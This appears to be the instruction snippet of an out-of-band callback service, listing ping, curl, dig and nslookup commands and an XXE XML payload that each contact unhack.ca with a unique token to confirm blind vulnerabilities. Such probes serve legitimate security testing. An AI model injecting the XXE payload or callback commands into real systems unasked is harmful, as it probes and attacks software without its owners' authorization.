$ ping -c1 -p 00e6a2cc5d7c236c85b532175ec36200 unhack.ca
 

$ curl http://unhack.ca/p/e6a2cc5d7c236c85b532175ec362
 

$ dig e6a2cc5d7c236c85b532175ec362 @unhack.ca
 

$ dig e6a2cc5d7c236c85b532175ec362.ns.unhack.ca
 

C:\> nslookup e6a2cc5d7c236c85b532175ec362 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e6a2cc5d7c236c85b532175ec362">]>
    <foo>&xxe;</foo>